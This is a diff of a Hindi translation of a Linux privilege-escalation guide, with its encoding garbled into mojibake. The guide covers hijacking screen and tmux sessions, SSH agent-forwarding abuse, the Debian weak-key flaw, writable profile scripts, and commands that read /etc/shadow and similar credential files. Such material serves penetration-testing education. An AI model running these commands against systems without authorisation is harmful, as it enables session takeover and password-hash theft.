рдЬреЛ owner рдирд╣реАрдВ рд╣реИрдВ рдпрд╛ group рдХрд╛ рд╣рд┐рд╕реНрд╕рд╛ рдирд╣реАрдВ рд╣реИрдВред рдпрд╣ рд╕реНрддрд░ рдЕрдзрд┐рдХ **granularity рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ** рдЬрд┐рд╕рд╕реЗ access management рдФрд░ рд╕рдЯреАрдХ рд╣реЛрддрд╛ рд╣реИред Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**рджреЗрдВ** рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "kali" рдХреЛ рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдкрд░ рдкрдврд╝рдиреЗ рдФрд░ рд▓рд┐рдЦрдиреЗ рдХреА рдЕрдиреБрдорддрд┐рдпрд╛рдБ: +**рджреЗрдБ** user "kali" рдХреЛ рдХрд┐рд╕реА рдлрд╝рд╛рдЗрд▓ рдкрд░ read рдФрд░ write permissions: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1179,21 +1164,21 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## рдЦреБрд▓реЗ shell sessions +## рдЦреБрд▓реА shell sessions -**рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рджреВрд╕рд░реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (**root**) рдХреЗ рдХреБрдЫ **shell** session рдХреЛ **hijack** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ -**рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ рдЖрдк рдХреЗрд╡рд▓ **рдЕрдкрдиреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдХреЗ screen sessions рд╕реЗ рд╣реА **connect** рдХрд░ рдкрд╛рдПрдБрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **session рдХреЗ рдЕрдВрджрд░ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +**рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рдЕрдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ (**root**) рдХреЗ рдХреБрдЫ **shell** session рдХреЛ **hijack** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ +**рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ рдЖрдк рдХреЗрд╡рд▓ **рдЖрдкрдХреЗ рдЕрдкрдиреЗ user** рдХреЗ **screen** sessions рд╕реЗ рд╣реА **connect** рдХрд░ рдкрд╛рдПрдБрдЧреЗред рд╣рд╛рд▓рд╛рдВрдХрд┐, рдЖрдк **session рдХреЗ рдЕрдВрджрд░ рд░реЛрдЪрдХ рдЬрд╛рдирдХрд╛рд░реА** рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред ### screen sessions hijacking -**screen sessions рд╕реВрдЪреАрдмрджреНрдз рдХрд░реЗрдВ** +**screen sessions рдХреА рд╕реВрдЪреА** ```bash screen -ls screen -ls / # Show another user' screen sessions ``` ![](<../../images/image (141).png>) -**session рд╕реЗ рдЬреБрдбрд╝реЗрдВ** +**рдХрд┐рд╕реА session рд╕реЗ рдЬреБрдбрд╝реЗрдВ** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image @@ -1201,7 +1186,7 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -рдпрд╣ рд╕рдорд╕реНрдпрд╛ **рдкреБрд░рд╛рдиреЗ tmux рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдХреЗ рд╕рд╛рде рдереАред рдореИрдВ root рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП tmux (v2.1) session рдХреЛ рдПрдХ non-privileged user рдХреЗ рд░реВрдк рдореЗрдВ hijack рдирд╣реАрдВ рдХрд░ рдкрд╛рдпрд╛ред +рдпрд╣ **old tmux versions** рдХреЗ рд╕рд╛рде рдПрдХ рд╕рдорд╕реНрдпрд╛ рдереАред рдореИрдВ non-privileged user рдХреЗ рд░реВрдк рдореЗрдВ root рджреНрд╡рд╛рд░рд╛ рдмрдирд╛рдП рдЧрдП tmux (v2.1) session рдХреЛ hijack рдирд╣реАрдВ рдХрд░ рдкрд╛рдпрд╛ред **tmux sessions рдХреА рд╕реВрдЪреА** ```bash @@ -1211,7 +1196,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**рдПрдХ session рд╕реЗ рдЬреБрдбрд╝реЗрдВ** +**рд╕рддреНрд░ рд╕реЗ рдЬреБрдбрд╝реЗрдВ** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1221,133 +1206,126 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Check **Valentine box from HTB** рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдПред ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ -рдпрд╣ рдмрдЧ рдЙрди OS рдкрд░ рдирдП ssh key рдмрдирд╛рдиреЗ рдХреЗ рд╕рдордп рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ 32,768 variations рд╕рдВрднрд╡ рдереЗ**ред рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рднреА рд╕рдВрднрд╛рд╡рдирд╛рдУрдВ рдХреА рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИ рдФрд░ **ssh public key рд╣реЛрдиреЗ рдкрд░ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд private key рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**ред рдЖрдк рдЧрдгрд┐рддреАрдп рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +September 2006 рдФрд░ May 13th, 2008 рдХреЗ рдмреАрдЪ Debian рдЖрдзрд╛рд░рд┐рдд рд╕рд┐рд╕реНрдЯрдо (Ubuntu, Kubuntu, рдЖрджрд┐) рдкрд░ рдмрдирд╛рдП рдЧрдП рд╕рднреА SSL рдФрд░ SSH keys рдЗрд╕ рдмрдЧ рд╕реЗ рдкреНрд░рднрд╛рд╡рд┐рдд рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ.\ +рдпрд╣ рдмрдЧ рдЙрди OS рдореЗрдВ рдирдпрд╛ ssh key рдмрдирд╛рддреЗ рд╕рдордп рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ **рдХреЗрд╡рд▓ 32,768 рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рд╕рдВрднрд╡ рдереАрдВ**. рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╕рднреА рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдЧрдгрдирд╛ рдХреА рдЬрд╛ рд╕рдХрддреА рд╣реИрдВ рдФрд░ **ssh public key рд╣реЛрдиреЗ рдкрд░ рдЖрдк рд╕рдВрдмрдВрдзрд┐рдд private key рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ**. рдЖрдк рдЧрдгрдирд╛ рдХреА рдЧрдИ рд╕рдВрднрд╛рд╡рдирд╛рдПрдБ рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди `no` рд╣реИред -- **PubkeyAuthentication:** рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ public key authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди `yes` рд╣реИред -- **PermitEmptyPasswords**: рдЬрдм password authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛ, рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЦрд╛рд▓реА password рд╕реНрдЯреНрд░рд┐рдВрдЧ рд╡рд╛рд▓реЗ рдЕрдХрд╛рдЙрдВрдЯреНрд╕ рдореЗрдВ рд▓реЙрдЧрд┐рди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдорд╛рди `no` рд╣реИред +- **PasswordAuthentication:** рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ password authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред +- **PubkeyAuthentication:** рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ public key authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реИ рдпрд╛ рдирд╣реАрдВред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `yes` рд╣реИред +- **PermitEmptyPasswords**: рдЬрдм password authentication рдХреА рдЕрдиреБрдорддрд┐ рд╣реЛ, рдпрд╣ рдмрддрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ server рдЦрд╛рд▓реА password рд╡рд╛рд▓реЗ рдЕрдХрд╛рдЙрдВрдЯреНрд╕ рдореЗрдВ login рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред ### PermitRootLogin -рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ root ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд▓реЙрдЧ рдЗрди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рди: +рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ root ssh рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВ, рдбрд┐рдлрд╝реЙрд▓реНрдЯ `no` рд╣реИред рд╕рдВрднрд╛рд╡рд┐рдд рдорд╛рди: -- `yes`: root рдкрд╛рд╕рд╡рд░реНрдб рдФрд░ private key рджреЛрдиреЛрдВ рд╕реЗ рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ -- `without-password` or `prohibit-password`: root рдХреЗрд╡рд▓ private key рд╕реЗ рд╣реА рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ -- `forced-commands-only`: root рдХреЗрд╡рд▓ private key рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рддрднреА рд▓реЙрдЧрд┐рди рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬрдм commands рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрдВ +- `yes`: root password рдФрд░ private key рджреЛрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ login рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- `without-password` or `prohibit-password`: root рдХреЗрд╡рд▓ private key рдХреЗ рд╕рд╛рде рд╣реА login рдХрд░ рд╕рдХрддрд╛ рд╣реИ +- `forced-commands-only`: root рдХреЗрд╡рд▓ private key рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдФрд░ рдЬрдм commands рд╡рд┐рдХрд▓реНрдк рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд╣реЛрдВ рддрднреА login рдХрд░ рд╕рдХрддрд╛ рд╣реИ - `no` : рдирд╣реАрдВ ### AuthorizedKeysFile -рдпрд╣ рдЙрди рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рд╡реЗ public keys рд╣реЛрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ user authentication рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ `%h` рдЬреИрд╕реЗ tokens рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рдиреНрд╣реЗрдВ home directory рд╕реЗ рдмрджрд▓рд╛ рдЬрд╛рдПрдЧрд╛ред **рдЖрдк absolute paths рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЬреЛ `/` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ) рдпрд╛ **user рдХреЗ home рд╕реЗ relative paths**ред For example: +рдРрд╕реА рдлрд╛рдЗрд▓реЛрдВ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ рд╡реЗ public keys рд╢рд╛рдорд┐рд▓ рд╣реЛрддреА рд╣реИрдВ рдЬрд┐рдиреНрд╣реЗрдВ user authentication рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ `%h` рдЬреИрд╕реЗ tokens рд░рдЦ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ home directory рд╕реЗ рдмрджрд▓ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред **рдЖрдк absolute paths рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** (рдЬреЛ `/` рд╕реЗ рд╢реБрд░реВ рд╣реЛрддреЗ рд╣реИрдВ) рдпрд╛ **user рдХреЗ home рд╕реЗ relative paths**. рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -рдпрд╣ configuration рд╕рдВрдХреЗрдд рдХрд░реЗрдЧрд╛ рдХрд┐ рдпрджрд┐ рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ "**testusername**" рдХреА **private** key рд╕реЗ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддреЗ рд╣реИрдВ, рддреЛ ssh рдЖрдкрдХреА key рдХрд╛ public key `/home/testusername/.ssh/authorized_keys` рдФрд░ `/home/testusername/access` рдореЗрдВ рдореМрдЬреВрдж keys рд╕реЗ рддреБрд▓рдирд╛ рдХрд░реЗрдЧрд╛ред +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding рдЖрдкрдХреЛ рдпрд╣ рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдкрд░ keys (рдмрд┐рдирд╛ passphrases!) рдЫреЛрдбрд╝рдХрд░ рд░рдЦрдиреЗ рдХреА рдмрдЬрд╛рдп **use your local SSH keys instead of leaving keys**. рдЗрд╕ рддрд░рд╣ рдЖрдк ssh рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ **jump** **to a host** рдХрд░ рдкрд╛рдПрдБрдЧреЗ рдФрд░ рд╡рд╣рд╛рдБ рд╕реЗ рдХрд┐рд╕реА рджреВрд╕рд░реЗ host рдкрд░ **jump to another** рдХрд░рддреЗ рд╣реБрдП рдЕрдкрдиреЗ **initial host** рдореЗрдВ рдореМрдЬреВрдж **key** рдХрд╛ **using** рдХрд░ рд╕рдХреЗрдВрдЧреЗред +SSH agent forwarding рдЖрдкрдХреЛ **use your local SSH keys instead of leaving keys** (without passphrases!) рдЕрдкрдиреЗ server рдкрд░ рдЫреЛрдбрд╝рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдЖрдк ssh рдХреЗ рдЬрд░рд┐рдП **jump** **to a host** рдХрд░ рд╕рдХреЗрдВрдЧреЗ рдФрд░ рд╡рд╣рд╛рдВ рд╕реЗ **jump to another** **host** **using** the **key** рдЬреЛ рдЖрдкрдХреЗ **initial host** рдореЗрдВ рд╕реНрдерд┐рдд рд╣реИред -You need to set this option in `$HOME/.ssh.config` like this: +рдЖрдкрдХреЛ рдпрд╣ option `$HOME/.ssh.config` рдореЗрдВ рдЗрд╕ рддрд░рд╣ рд╕реЗрдЯ рдХрд░рдирд╛ рд╣реЛрдЧрд╛: ``` Host example.com ForwardAgent yes ``` -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрджрд┐ `Host` `*` рд╣реИ, рддреЛ рд╣рд░ рдмрд╛рд░ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рдЕрд▓рдЧ рдорд╢реАрди рдкрд░ рдХреВрджрддрд╛ рд╣реИ, рд╡рд╣ host рдХреАрдЬрд╝ рддрдХ рдкрд╣реБрдБрдЪ рдкрд╛рдПрдЧрд╛ (рдЬреЛ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ)ред +рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЕрдЧрд░ `Host` `*` рд╣реИ, рддреЛ рд╣рд░ рдмрд╛рд░ рдЬрдм рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд┐рд╕реА рджреВрд╕рд░реА рдорд╢реАрди рдкрд░ рдХрдиреЗрдХреНрдЯ рд╣реЛрддрд╛ рд╣реИ, рд╡рд╣ рд╣реЛрд╕реНрдЯ keys рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХреЗрдЧрд╛ (рдЬреЛ рдХрд┐ рдПрдХ рд╕реБрд░рдХреНрд╖рд╛ рд╕рдорд╕реНрдпрд╛ рд╣реИ)ред -рдлрд╝рд╛рдЗрд▓ `/etc/ssh_config` рдЗрд╕ **рд╡рд┐рдХрд▓реНрдк** рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд░ рд╕рдХрддреА рд╣реИ рдФрд░ рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддреА рд╣реИ рдпрд╛ рдЕрд╕реНрд╡реАрдХрд╛рд░ рдХрд░ рд╕рдХрддреА рд╣реИ.\ -рдлрд╝рд╛рдЗрд▓ `/etc/sshd_config` `AllowAgentForwarding` рдХреАрд╡рд░реНрдб рдХреЗ рд╕рд╛рде ssh-agent forwarding рдХреЛ **рдЕрдиреБрдорддрд┐** рджреЗ рд╕рдХрддреА рд╣реИ рдпрд╛ **рдирд┐рд░рд╕реНрдд** рдХрд░ рд╕рдХрддреА рд╣реИ (рдбрд┐рдлрд╝реЙрд▓реНрдЯ рдЕрдиреБрдорддрд┐ рд╣реИ)ред +рдлрд╝рд╛рдЗрд▓ `/etc/ssh_config` рдЗрди **рд╡рд┐рдХрд▓реНрдкреЛрдВ** рдХреЛ **рдУрд╡рд░рд░рд╛рдЗрдб** рдХрд░ рд╕рдХрддреА рд╣реИ рдФрд░ рдЗрд╕ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░реЗрд╢рди рдХреЛ рдЕрдиреБрдорддрд┐ рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд░ рд╕рдХрддреА рд╣реИ.\ +рдлрд╝рд╛рдЗрд▓ `/etc/sshd_config` `AllowAgentForwarding` рдХреАрд╡рд░реНрдб рдХреЗ рд╕рд╛рде ssh-agent forwarding рдХреЛ **allow** рдпрд╛ **denied** рдХрд░ рд╕рдХрддреА рд╣реИ (default is allow). -рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ Forward Agent рдХрд┐рд╕реА environment рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рд╣реИ рддреЛ рдирд┐рдореНрди рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **рдЖрдк рд╕рдВрднрд╡рддрдГ рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ escalate privileges рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: +рдпрджрд┐ рдЖрдк рдкрд╛рддреЗ рд╣реИрдВ рдХрд┐ Forward Agent рдХрд┐рд╕реА environment рдореЗрдВ рдХреЙрдиреНрдлрд╝рд┐рдЧрд░ рд╣реИ рддреЛ рдирд┐рдореНрди рдкреГрд╖реНрда рдкрдврд╝реЗрдВ рдХреНрдпреЛрдВрдХрд┐ **рдЖрдк рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ escalate privileges рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**: {{#ref}} ssh-forward-agent-exploitation.md {{#endref}} -## рд░реЛрдЪрдХ рдлрд╛рдЗрд▓реЗрдВ +## рджрд┐рд▓рдЪрд╕реНрдк рдлрд╝рд╛рдЗрд▓реЗрдВ ### рдкреНрд░реЛрдлрд╝рд╛рдЗрд▓ рдлрд╝рд╛рдЗрд▓реЗрдВ -рдлрд╝рд╛рдЗрд▓ `/etc/profile` рдФрд░ `/etc/profile.d/` рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдлрд╝рд╛рдЗрд▓реЗрдВ **рд╕реНрдХреНрд░рд┐рдкреНрдЯреНрд╕ рдЬреЛ рддрдм execute рд╣реЛрддреА рд╣реИрдВ рдЬрдм рдХреЛрдИ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирдпрд╛ shell рдЪрд▓рд╛рддрд╛ рд╣реИ**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдЙрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЛ рднреА **рд▓рд┐рдЦ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк escalate privileges рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред +рдлрд╝рд╛рдЗрд▓ `/etc/profile` рдФрд░ `/etc/profile.d/` рдХреЗ рдЕрдВрддрд░реНрдЧрдд рдлрд╝рд╛рдЗрд▓реЗрдВ **рдРрд╕реЗ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд╣реИрдВ рдЬреЛ рддрдм рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИрдВ рдЬрдм рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирдпрд╛ shell рдЪрд▓рд╛рддрд╛ рд╣реИ**ред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХрд┐рд╕реА рдХреЛ рднреА **рд▓рд┐рдЦ рдпрд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк escalate privileges рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ**ред ```bash ls -l /etc/profile /etc/profile.d/ ``` -рдпрджрд┐ рдХреЛрдИ рдЕрдЬреАрдм profile script рдорд┐рд▓рддреА рд╣реИ рддреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рдХреЗ рд▓рд┐рдП рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдПред +рдпрджрд┐ рдХреЛрдИ рдЕрдЬреАрдм profile рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдорд┐рд▓рддреА рд╣реИ, рддреЛ рдЖрдкрдХреЛ рдЗрд╕реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╡рд┐рд╡рд░рдгреЛрдВ** рдХреЗ рд▓рд┐рдП рдЬрд╛рдБрдЪрдирд╛ рдЪрд╛рд╣рд┐рдПред ### Passwd/Shadow рдлрд╝рд╛рдЗрд▓реЗрдВ -OS рдХреЗ рдЕрдиреБрд╕рд╛рд░ `/etc/passwd` рдФрд░ `/etc/shadow` рдлрд╛рдЗрд▓реЗрдВ рдЕрд▓рдЧ рдирд╛рдо рд╕реЗ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рдЙрдирдХреА рдХреЛрдИ рдмреИрдХрдЕрдк рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддреА рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕реБрдЭрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдЖрдк **рд╕рднреА рдХреЛ рдвреВрдВрдвреЗрдВ** рдФрд░ **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдлрд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ **hashes рд╣реИрдВ рдпрд╛ рдирд╣реАрдВ**: +OS рдХреЗ рдЕрдиреБрд╕рд╛рд░ `/etc/passwd` рдФрд░ `/etc/shadow` рдлрд╝рд╛рдЗрд▓реЗрдВ рдХрд┐рд╕реА рдЕрд▓рдЧ рдирд╛рдо рд╕реЗ рд╣реЛ рд╕рдХрддреА рд╣реИрдВ рдпрд╛ рдХреЛрдИ рдмреИрдХрдЕрдк рдореМрдЬреВрдж рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ рдЖрдк **рдЙрди рд╕рднреА рдХреЛ рдвреВрдБрдвреЗрдВ** рдФрд░ **рдЬрд╛рдБрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдЖрдк рдЙрдиреНрд╣реЗрдВ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ** рддрд╛рдХрд┐ рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХреЗ **рдХреНрдпрд╛ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рдЕрдВрджрд░ hashes рд╣реИрдВ**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -рдХреБрдЫ рдореМрдХреЛрдВ рдкрд░ рдЖрдк **password hashes** рдХреЛ `/etc/passwd` (рдпрд╛ рд╕рдордХрдХреНрд╖) рдлрд╝рд╛рдЗрд▓ рдХреЗ рдЕрдВрджрд░ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред +рдХрднреА-рдХрднреА рдЖрдк **password hashes** рдХреЛ `/etc/passwd` (рдпрд╛ рд╕рдордХрдХреНрд╖) рдлрд╝рд╛рдЗрд▓ 